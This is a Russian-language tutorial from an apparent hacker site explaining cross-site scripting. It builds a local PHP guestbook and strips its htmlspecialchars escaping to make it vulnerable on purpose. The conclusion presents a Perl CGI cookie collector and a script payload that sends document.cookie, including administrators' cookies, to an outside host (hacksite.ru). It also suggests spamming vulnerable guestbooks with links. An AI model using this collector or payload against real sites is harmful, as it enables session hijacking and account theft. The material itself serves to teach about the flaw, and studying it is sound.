Что такое XSS?
XSS, согласно легендам древних Хакеров, переводится как межсайтовый скриптинг(Cross Site Scripting). Внимательный читатель заметит, что абривиатуры XSS и CSSнесколько отличаются друг от друга, и вот с чем это связанно.
Задолго до обнаружения такого метода атаки как XSS (по крайней мере до того, какXSS стали называть именно так), веб-дизайнеры ввели в обиход CSS стандарт (Каскадные Таблицы Стилей), которые помогали им выпендриваться и делать свои сайты не так, как у других, используя те же, собственно, html теги. Потому, при классификации XSS атак, первую букву в слове Cross было решено заменить на X ("Cross" также переводится как "Крест"). Так и пошло.
Для того, чтобы правильно понять материал, у Вас должны быть хотя бы малейшие знания языка гипертекстовой разметки, ну и вообще примерное понимание общения браузера и веб-сервера. Скажу также, что данный метод атаки в целом не сложен, и вполне сносно излагается в рамках одной статьи. Если что-то будет "непониматься", значит либо у вас мало мозгов, либо у вас мало пива. Если без первого еще можно и обойтись, то без второго даже не знаю... Кому как. =)
Суть Атаки:
Сразу расставим точки над "i" - XSS это не атака на сайт или удаленный сервер! Это атака на пользователя этого сайта и не больше. Сайту в целом по барабану - в случае, если Хакер смог провести XSS атаку, скрипт просто будет выдавать, вместе с основным html контентом, задуманным автором сайта, некоторую последовательность кода. Серверу от этого ни тепло, ни холодно. А вот пользователю как раз может быть очень и очень жарко... Не врубился о чем речь? Ну так правильно, мы еще ни словом не задели сам процесс проведения атаки. Читай дальше.
К XSS - атакам сайт становится уязвим, когда один из его сценариев кушает всю передаваемую строку, без всякой фильтрации на запрещенные символы. Что я имел в виду под фразой "запрещенные символы"? Это знаки разметки, то есть зарезервированные, "рабочие" символы языка html. Рассмотрим знак меньше или больше (""). Как мы знаем, они используются в языке html для разметки и обозначения тегов. И браузер интерпретирует их именно в этом контексте. Если мы попробуем сказать браузеру нечто типа:
<p> В данном математическом примере очевидно, что b<a, и >c
В данном математическом примере очевидно, что bc. Ведь очевидно, что сочетание символов "<" и "a" для него объявление гиперссылки. То есть в коде (по мнению браузера) объявляется ссылка, и затем он ищет закрывающий тег, и находит его! Как раз для этих целей в html есть альтернативное обозначение некоторых символов, например:
& & амперсанд
< < знак "меньше"
> > знак "больше"
Где первой колонкой идет имя, затем код, вид, и описание.
Представим себе, что у нас есть гостевая книга, в которую может писать любой желающий. Он вводит свое имя, текст сообщения, и жмет кнопку "отправить". Данные из полей отправляются сценарию. Минимальная задача сценария такова: прочитать данные из полей, и добавить в html страницу гостевой книги, например следующие теги:
<h6> Name </h6>
<p>Text
Где заместо Name он подставит данные из поля "Имя", и вместо Text будет идти собственно само сообщение. Что будет, если мы попробуем вставить в текст то предложение, которое мы пробовали скормить браузеру (про a и b)? Он просто добавит к странице гостевой книги текст как он есть и все. А открыв повторно ее браузером мы столкнемся с такой же проблемой.
Чтобы примерно донести суть XSS уязвимости сайта, я заснял небольшой ролик, где на примере дырявого elefant.ru попытался представить атаку в более понятной форме.
Скачать ролик
Кстати, еще забавно, если попробовать в строку поиска вбить:
<input type=button onclick=alert('Hack')>
[XSS: Анатомия Cross Site Scripting. Атака на пользователя.]
:). Где же тут XSS-атака? Нету! Ведь код у нас совсем не вредоносный. Но если в текст сообщения вставить нечто начинающееся со слов <script ... , то кажется начинает пахнуть жареным. Не чувствуешь? Ну да, возможно слишком сложно. Поэтому предлагаю рассмотреть все на практике.
Готовим полигон:
Для того, что бы рассмотреть все аспекты атаки, и, заодно, потренироваться, предлагаю сделать две вещи:
- Во первых создать скрипт дырявой гостевой книги;
- Запустить сервер на локалхосте;
Ставим сервер:
Начнем со второго. Перейдем на сайт _http://www.denwer.ru/ и скачаем от туда последнюю версию Денвера. Денвер - уникальная софтина, позволяющая в кратчайший срок поднять на локалхосте вполне работоспособный сервер. Очень полезен разработчикам, для локального теста скриптов.
С установкой проблем возникнуть не должно - программа сама инициализирует и установит все необходимые модули.
Запустив денвер с помощью ярлыка на рабочем столе "Start Denwer" наберем в адресной строке браузера строчку localhost. Если увидим некий ответ от Денвера - значит сервер работает.
Если в процессе установки вы указали создать виртуальный диск под именем "Z", то файлы/скрипты должны хранится в папке "Z:\home\localhost\www".
Поместим в данный каталог файл index.html с таким содержанием:
<html>
<head><title>My First Web-Page</title></head>
<body> Это работает! </body>
</html>
И набрав в браузере "" мы убедимся, что все работает как по маслу. Теперь перейдем к созданию гостевой книги.
Поднимаем гостевую книгу:
Во первых создадим в нашей корневой папочке (Z:\home\localhost\www) файл с именем index.php, и запишем в него следующие строки:
<?php
include 'show_message.php';
include 'form.inc';
?>
Как следует из содержания, нужно создать еще два файла. Это form.inc:
<form name="gbook" target="_self" method="post" action="gbook_add.php">
Ваше имя: <br>
<input type="text" name="username"><br>
Ваш e-mail:<br>
<input type="text" name="email"><br>
Ваше сообщение:<br>
<textarea name="message" rows="6" cols="37"></textarea><br>
<input type="submit" name="send" value="Добавить сообщение">
</form>
И show_message.php:
<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$shablon = '
<table border="1" width="100%">
<tr>
<td width="100%">Имя пользователя: <a href="mailto:%email%">%username%</a></td>
</tr>
<tr>
<td width="100%">%message%</td>
</tr>
<tr>
<td width="100%" align="right">%add_date%</td>
</tr>
</table>
<br>';
$data = @file($filename);
foreach($data as $val)
{
list($username, $email, $message, $date) = explode($delitmer, trim($val));
$tmp_message = str_replace("%username%", $username, $shablon);
$tmp_message = str_replace("%email%", $email, $tmp_message);
$tmp_message = str_replace("%message%", $message, $tmp_message);
$tmp_message = str_replace("%add_date%", $date, $tmp_message);
echo $tmp_message;
}
?>
Файл form.inc просто выводит html-форму для добавления нового сообщения. А скриптshow_message.php выводит в index.php все сообщения из файла messages.dat, который мы должны тоже создать, и оставить пустым. Самый главный скрипт - скрипт добавления сообщения в наш файл, имитирующий базу данных, будет называтьсяgbook_add.php, и иметь такой вид:
<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$username_limit = 50;
$email_limit = 80;
$message_limit = 500;
if (isset($_POST))
{
if (isset($_POST['username']) & isset($_POST['email']) & isset($_POST['message']))
{
if (((strlen($_POST['username'])>0) & (strlen($_POST['username'])<=$username_limit)) &
((strlen($_POST['email'])>0) & (strlen($_POST['email'])<=$email_limit)) &
((strlen($_POST['message'])>0) & (strlen($_POST['message'])<=$message_limit)))
{
$username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
$email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
$message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
$arr = array($username, $email, $message, date("d.m.Y"));
$new_message = implode($delitmer, $arr) . "\r\n";
$messages_arr = @file($filename);
$messages_str = $new_message;
$messages_str .= trim(implode("", $messages_arr));
$fp = fopen($filename, "w+");
fwrite($fp, $messages_str);
fclose($fp);
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=index.php\">";
echo "Ваше сообщение добавленно!";
}
else
{
echo "Ошибка!!!<br>Не все данные введенны, либо в одном из полей формы слишком мало символов.";
}
}
}
?>
Все! Гостевая книга готова... Если запутался - резюмирую:
В папке Z:\home\localhost\www у нас лежит 5 файлов:
gbook_add.php - добавляет сообщения, при нажатии кнопки "Добавить";
messages.dat - пустой файл, в нем будут храниться сообщения;
show_message.php - скрипт выводящий сообщения из файла messages.dat;
form.inc - форма для добавления сообщения;
index.php - индексная страница;
Код всех файлов я привел выше. Но прилагаю также готовые файлы, на всякий случай. Их нужно просто сохранить в папку Z:\home\localhost\www:
files.rar [1,45 Kb] (cкачиваний: 52)
- все пять файлов в одном архиве;
Проверим работоспособность скрипта, переходим по ссылке http://localhost/index.php и пробуем добавить сообщение. Имя, мыло пишем абсолютно любое, а вот сообщение добавим такого типа:
Всем <h1>привет</h1>!
Жмем добавить, обновляем страницу и видим, что ничего собственно не произошло... "Запрещенные" символы у нас отображаются, как ни в чем не бывало, и слово "привет" не отличается от слова "всем". Это произошло из-за того, что в скрипте присутствует примитивная защита от такого рода атаки. Откроем скриптgbook_add.php и найдем там строки
$username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
$email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
$message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
Удалим из каждой подстроку "htmlspecialchars", то есть выглядеть они у нас будут так:
$username = str_replace("\r\n", "<br>", ($_POST['username']));
$email = str_replace("\r\n", "<br>", ($_POST['email']));
$message = str_replace("\r\n", "<br>", ($_POST['message']));
Теперь добавим тоже самое сообщение! Вот. Теперь получилось... мы вовсе не видим тегов
<h1>
и
</h1>
, зато заметно, что браузер вполне нормально их интерпретировал.
Заключение. Что осталось за кадром?
Я не показал тебе, как из XSS уязвимости делать себе выгоду. Все эти теги, в сущности ничем не полезны. А полезных моментов может быть несколько:
Ссылки: Мы можем поставить _прямую_ ссылку на наш ресурс в гостевой книге, да еще с указанием каким угодно title. Например:
[url=http://hack-academy.ru]Академия Хакеров[/url]
. Прямая ссылка может повышать наш PR и тИЦ, и вообще пойдет на пользу. Дырявые гостевые отличное подспорье для различных спам сервисов.
Переадресации, всплывающие окна, на наш сайт.
Кража кукисов: Написав небольшой cgi скрипт, к примеру, мы можем воровать куки пользователей, в том числе и администраторов портала. Выглядеть это может так:
#!/usr/bin/perl -w
# открываем файл cookies.txt для добавления инфы
open COOKIES,">>../cookies.txt";
print "Content-Type: text/html\n\n";
# добавляем в файл метку, благодаря которой можно
# увидеть, где начинается похищенный кукис
print COOKIES "----------- new cookie -----------\n";
# записываем переменную окружения QUERY_STRING,
# содержащую параметры, передаваемые скрипту,
# через которые хакер будет передавать данные кукиса
print COOKIES "$ENV{'QUERY_STRING'}\n";
# записываем в файл метку «конец кукиса»
print COOKIES "---------- end of cookie ---------\n\n";
# закрываем cookies.txt, записанная инфа сохраняется
close COOKIES;
Тогда в тексте письма нужно прописать нечто типа
<script>value='http://hacksite.ru/cookie.cgi?' + document.cookie;</script>
Куки будут наши!
-----
В общем место для фантазии есть. Я всего лишь хотел указать разработчикам веб-приложений на самые-самые распространенные ошибки при написании скриптов. Остерегайтесь их, и удачи...
|